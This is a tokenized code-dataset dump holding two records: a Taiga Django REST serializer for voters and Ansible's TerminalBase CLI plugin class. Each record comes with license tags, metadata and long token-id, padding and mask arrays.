# Copyright (C) 2014 Andrey Antukh <niwi@niwi.be> # Copyright (C) 2014 Jesús Espino <jespinog@gmail.com> # Copyright (C) 2014 David Barragán <bameda@dbarragan.com> # Copyright (C) 2014 Anler Hernández <hello@anler.me> # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU Affero General Public License as # published by the Free Software Foundation, either version 3 of the # License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU Affero General Public License for more details. # # You should have received a copy of the GNU Affero General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from taiga.base.api import serializers from taiga.base.fields import TagsField from taiga.users.models import User from taiga.users.services import get_photo_or_gravatar_url class VoterSerializer(serializers.ModelSerializer): full_name = serializers.CharField(source='get_full_name', required=False) class Meta: model = User fields = ('id', 'username', 'full_name')
agpl-3.0
[ 3, 1898, 334, 35, 9, 6927, 6061, 17885, 437, 343, 3210, 72, 665, 8445, 14249, 32, 8445, 14249, 14, 1235, 30, 199, 3, 1898, 334, 35, 9, 6927, 1603, 397, 24602, 83, 662, 681, 10175, 665, 74, 397, 7751, 974, 32, 6799, 14, 957, 30, 199, 3, 1898, 334, 35, 9, 6927, 20232, 12377, 2527, 11302, 78, 665, 66, 313, 983, 32, 697, 285, 2527, 290, 14, 957, 30, 199, 3, 1898, 334, 35, 9, 6927, 1626, 1435, 18769, 78, 11302, 78, 271, 90, 665, 5006, 32, 290, 1435, 14, 278, 30, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 504, 3052, 29055, 14, 1095, 14, 1246, 492, 12506, 199, 504, 3052, 29055, 14, 1095, 14, 955, 492, 25204, 792, 199, 199, 504, 3052, 29055, 14, 3707, 14, 992, 492, 2876, 199, 504, 3052, 29055, 14, 3707, 14, 5950, 492, 664, 63, 13834, 63, 269, 63, 926, 28694, 63, 633, 421, 199, 533, 32665, 351, 7299, 8, 12844, 14, 1685, 7299, 304, 272, 2615, 63, 354, 275, 12506, 14, 2183, 8, 1365, 534, 362, 63, 2861, 63, 354, 297, 1415, 29, 797, 9, 339, 1021, 6288, 26, 267, 1402, 275, 2876, 267, 1504, 275, 661, 344, 297, 283, 2473, 297, 283, 2861, 63, 354, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1898, 334, 35, 9, 6927, 6061, 17885, 437, 343, 3210, 72, 665, 8445, 14249, 32, 8445, 14249, 14, 1235, 30, 199, 3, 1898, 334, 35, 9, 6927, 1603, 397, 24602, 83, 662, 681, 10175, 665, 74, 397, 7751, 974, 32, 6799, 14, 957, 30, 199, 3, 1898, 334, 35, 9, 6927, 20232, 12377, 2527, 11302, 78, 665, 66, 313, 983, 32, 697, 285, 2527, 290, 14, 957, 30, 199, 3, 1898, 334, 35, 9, 6927, 1626, 1435, 18769, 78, 11302, 78, 271, 90, 665, 5006, 32, 290, 1435, 14, 278, 30, 199, 3, 961, 2240, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 4265, 1696, 1684, 844, 465, 199, 3, 3267, 701, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 199, 3, 844, 12, 503, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 961, 2240, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 4265, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 4265, 1696, 1684, 844, 199, 3, 3180, 543, 642, 2240, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 199, 504, 3052, 29055, 14, 1095, 14, 1246, 492, 12506, 199, 504, 3052, 29055, 14, 1095, 14, 955, 492, 25204, 792, 199, 199, 504, 3052, 29055, 14, 3707, 14, 992, 492, 2876, 199, 504, 3052, 29055, 14, 3707, 14, 5950, 492, 664, 63, 13834, 63, 269, 63, 926, 28694, 63, 633, 421, 199, 533, 32665, 351, 7299, 8, 12844, 14, 1685, 7299, 304, 272, 2615, 63, 354, 275, 12506, 14, 2183, 8, 1365, 534, 362, 63, 2861, 63, 354, 297, 1415, 29, 797, 9, 339, 1021, 6288, 26, 267, 1402, 275, 2876, 267, 1504, 275, 661, 344, 297, 283, 2473, 297, 283, 2861, 63, 354, 358, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
TalShafir/ansible
lib/ansible/plugins/terminal/__init__.py
106
4365
# # (c) 2016 Red Hat Inc. # # This file is part of Ansible # # Ansible is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # Ansible is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Ansible. If not, see <http://www.gnu.org/licenses/>. # from __future__ import (absolute_import, division, print_function) __metaclass__ = type import re from abc import ABCMeta, abstractmethod from ansible.errors import AnsibleConnectionFailure from ansible.module_utils.six import with_metaclass class TerminalBase(with_metaclass(ABCMeta, object)): ''' A base class for implementing cli connections .. note:: Unlike most of Ansible, nearly all strings in :class:`TerminalBase` plugins are byte strings. This is because of how close to the underlying platform these plugins operate. Remember to mark literal strings as byte string (``b"string"``) and to use :func:`~ansible.module_utils._text.to_bytes` and :func:`~ansible.module_utils._text.to_text` to avoid unexpected problems. ''' #: compiled bytes regular expressions as stdout terminal_stdout_re = [] #: compiled bytes regular expressions as stderr terminal_stderr_re = [] #: compiled bytes regular expressions to remove ANSI codes ansi_re = [ re.compile(br'(\x1b\[\?1h\x1b=)'), re.compile(br'\x08.') ] #: terminal initial prompt terminal_initial_prompt = None #: terminal initial answer terminal_initial_answer = None #: Send newline after prompt match terminal_inital_prompt_newline = True def __init__(self, connection): self._connection = connection def _exec_cli_command(self, cmd, check_rc=True): ''' Executes the CLI command on the remote device and returns the output :arg cmd: Byte string command to be executed ''' return self._connection.exec_command(cmd) def _get_prompt(self): """ Returns the current prompt from the device :returns: A byte string of the prompt """ return self._connection.get_prompt() def on_open_shell(self): """Called after the SSH session is established This method is called right after the invoke_shell() is called from the Paramiko SSHClient instance. It provides an opportunity to setup terminal parameters such as disbling paging for instance. """ pass def on_close_shell(self): """Called before the connection is closed This method gets called once the connection close has been requested but before the connection is actually closed. It provides an opportunity to clean up any terminal resources before the shell is actually closed """ pass def on_become(self, passwd=None): """Called when privilege escalation is requested :kwarg passwd: String containing the password This method is called when the privilege is requested to be elevated in the play context by setting become to True. It is the responsibility of the terminal plugin to actually do the privilege escalation such as entering `enable` mode for instance """ pass def on_unbecome(self): """Called when privilege deescalation is requested This method is called when the privilege changed from escalated (become=True) to non escalated (become=False). It is the responsibility of this method to actually perform the deauthorization procedure """ pass def on_authorize(self, passwd=None): """Deprecated method for privilege escalation :kwarg passwd: String containing the password """ return self.on_become(passwd) def on_deauthorize(self): """Deprecated method for privilege deescalation """ return self.on_unbecome()
gpl-3.0
[ 3, 199, 3, 334, 67, 9, 7800, 9572, 13002, 3277, 14, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 363, 6577, 363, 275, 730, 199, 199, 646, 295, 199, 199, 504, 13022, 492, 29565, 12, 9006, 765, 199, 199, 504, 3242, 14, 2550, 492, 2622, 3225, 6782, 199, 504, 3242, 14, 578, 63, 1208, 14, 4174, 492, 543, 63, 6577, 421, 199, 533, 20429, 279, 1563, 8, 1045, 63, 6577, 8, 22254, 12, 909, 2298, 272, 1449, 272, 437, 1300, 1021, 367, 18234, 5053, 6947, 339, 2508, 5317, 447, 25059, 4750, 402, 2622, 12, 17429, 590, 1006, 3326, 315, 267, 520, 533, 1705, 22015, 1563, 64, 8963, 787, 3696, 3326, 14, 221, 961, 365, 2952, 402, 267, 4212, 4002, 370, 314, 8793, 4298, 3520, 8963, 19218, 14, 221, 31859, 267, 370, 2216, 8785, 3326, 465, 3696, 1059, 15693, 66, 2, 875, 2, 16580, 436, 370, 675, 267, 520, 1532, 6054, 4853, 14, 578, 63, 1208, 423, 505, 14, 475, 63, 2394, 64, 436, 267, 520, 1532, 6054, 4853, 14, 578, 63, 1208, 423, 505, 14, 475, 63, 505, 64, 370, 5126, 10537, 267, 8826, 14, 272, 1449, 339, 6079, 10311, 2783, 5578, 8455, 465, 3839, 272, 11167, 63, 2703, 63, 264, 275, 942, 339, 6079, 10311, 2783, 5578, 8455, 465, 4635, 272, 11167, 63, 3083, 63, 264, 275, 942, 339, 6079, 10311, 2783, 5578, 8455, 370, 2813, 25600, 9479, 272, 376, 338, 63, 264, 275, 359, 267, 295, 14, 2014, 8, 3289, 13445, 88, 17, 66, 60, 7023, 31, 17, 72, 60, 88, 17, 66, 29, 11218, 267, 295, 14, 2014, 8, 3289, 1154, 88, 2036, 2659, 272, 1622, 339, 6079, 11167, 2536, 8457, 272, 11167, 63, 2747, 63, 7650, 275, 488, 339, 6079, 11167, 2536, 6385, 272, 11167, 63, 2747, 63, 5934, 275, 488, 339, 6079, 10217, 8057, 2410, 8457, 1336, 272, 11167, 63, 826, 279, 63, 7650, 63, 12210, 275, 715, 339, 347, 636, 826, 721, 277, 12, 1950, 304, 267, 291, 423, 2105, 275, 1950, 339, 347, 485, 1628, 63, 2764, 63, 1531, 8, 277, 12, 2088, 12, 1104, 63, 1195, 29, 549, 304, 267, 1449, 267, 9434, 3862, 314, 14214, 1414, 641, 314, 3982, 2243, 436, 2529, 314, 1072, 398, 520, 1273, 2088, 26, 20301, 1059, 1414, 370, 506, 7934, 267, 1449, 267, 372, 291, 423, 2105, 14, 1628, 63, 1531, 8, 1760, 9, 339, 347, 485, 362, 63, 7650, 8, 277, 304, 267, 408, 267, 1803, 314, 1453, 8457, 687, 314, 2243, 398, 520, 5808, 26, 437, 3696, 1059, 402, 314, 8457, 267, 408, 267, 372, 291, 423, 2105, 14, 362, 63, 7650, 342, 339, 347, 641, 63, 1490, 63, 5641, 8, 277, 304, 267, 408, 10474, 2410, 314, 12027, 2351, 365, 23594, 398, 961, 1083, 365, 2797, 2451, 2410, 314, 12677, 63, 5641, 342, 365, 2797, 687, 267, 314, 12608, 16625, 12027, 3041, 1256, 14, 221, 2779, 6571, 376, 30914, 370, 3272, 267, 11167, 2633, 4066, 465, 2153, 66, 2983, 299, 7407, 367, 1256, 14, 267, 408, 267, 986, 339, 347, 641, 63, 1600, 63, 5641, 8, 277, 304, 267, 408, 10474, 2544, 314, 1950, 365, 6876, 398, 961, 1083, 7545, 2797, 5403, 314, 1950, 4002, 965, 2757, 5839, 267, 1325, 2544, 314, 1950, 365, 5965, 6876, 14, 221, 2779, 6571, 376, 267, 30914, 370, 3633, 1536, 1263, 11167, 5944, 2544, 314, 5218, 365, 267, 5965, 6876, 267, 408, 267, 986, 339, 347, 641, 63, 13970, 8, 277, 12, 15081, 29, 403, 304, 267, 408, 10474, 1380, 1979, 17228, 325, 4732, 425, 365, 5839, 398, 520, 12745, 15081, 26, 2624, 3035, 314, 2505, 398, 961, 1083, 365, 2797, 1380, 314, 1979, 17228, 365, 5839, 370, 506, 325, 6972, 972, 267, 315, 314, 5232, 1067, 701, 4260, 8649, 370, 715, 14, 221, 2779, 365, 314, 9163, 4783, 267, 402, 314, 11167, 3589, 370, 5965, 886, 314, 1979, 17228, 325, 4732, 425, 4066, 267, 465, 9509, 316, 658, 4296, 64, 818, 367, 1256, 267, 408, 267, 986, 339, 347, 641, 63, 324, 13970, 8, 277, 304, 267, 408, 10474, 1380, 1979, 17228, 477, 397, 915, 425, 365, 5839, 398, 961, 1083, 365, 2797, 1380, 314, 1979, 17228, 2896, 687, 325, 4732, 972, 267, 334, 13970, 29, 549, 9, 370, 2222, 325, 4732, 972, 334, 13970, 29, 797, 680, 221, 2779, 365, 314, 9163, 4783, 267, 402, 642, 1083, 370, 5965, 5147, 314, 477, 15846, 17782, 267, 408, 267, 986, 339, 347, 641, 63, 14204, 8, 277, 12, 15081, 29, 403, 304, 267, 408, 19727, 1083, 367, 1979, 17228, 325, 4732, 425, 398, 520, 12745, 15081, 26, 2624, 3035, 314, 2505, 267, 408, 267, 372, 291, 14, 265, 63, 13970, 8, 12671, 9, 339, 347, 641, 63, 271, 14204, 8, 277, 304, 267, 408, 19727, 1083, 367, 1979, 17228, 477, 397, 915, 425, 267, 408, 267, 372, 291, 14, 265, 63, 324, 13970, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 3, 334, 67, 9, 7800, 9572, 13002, 3277, 14, 199, 3, 199, 3, 961, 570, 365, 1777, 402, 2622, 199, 3, 199, 3, 2622, 365, 2867, 2032, 26, 1265, 883, 3604, 652, 436, 15, 269, 2811, 199, 3, 652, 1334, 314, 2895, 402, 314, 1664, 1696, 1684, 844, 465, 3267, 701, 199, 3, 314, 2868, 2290, 2752, 12, 1902, 1015, 650, 402, 314, 844, 12, 503, 199, 3, 334, 292, 2195, 945, 9, 1263, 2945, 1015, 14, 199, 3, 199, 3, 2622, 365, 1854, 315, 314, 3661, 626, 652, 911, 506, 2997, 12, 199, 3, 1325, 2428, 1821, 3408, 27, 1928, 2755, 314, 2478, 3750, 402, 199, 3, 3169, 503, 3092, 2381, 437, 3115, 3104, 14, 221, 1666, 314, 199, 3, 1664, 1696, 1684, 844, 367, 1655, 2436, 14, 199, 3, 199, 3, 2047, 1077, 1172, 3086, 282, 1331, 402, 314, 1664, 1696, 1684, 844, 199, 3, 3180, 543, 2622, 14, 221, 982, 440, 12, 1937, 665, 1014, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 4743, 199, 3, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 363, 6577, 363, 275, 730, 199, 199, 646, 295, 199, 199, 504, 13022, 492, 29565, 12, 9006, 765, 199, 199, 504, 3242, 14, 2550, 492, 2622, 3225, 6782, 199, 504, 3242, 14, 578, 63, 1208, 14, 4174, 492, 543, 63, 6577, 421, 199, 533, 20429, 279, 1563, 8, 1045, 63, 6577, 8, 22254, 12, 909, 2298, 272, 1449, 272, 437, 1300, 1021, 367, 18234, 5053, 6947, 339, 2508, 5317, 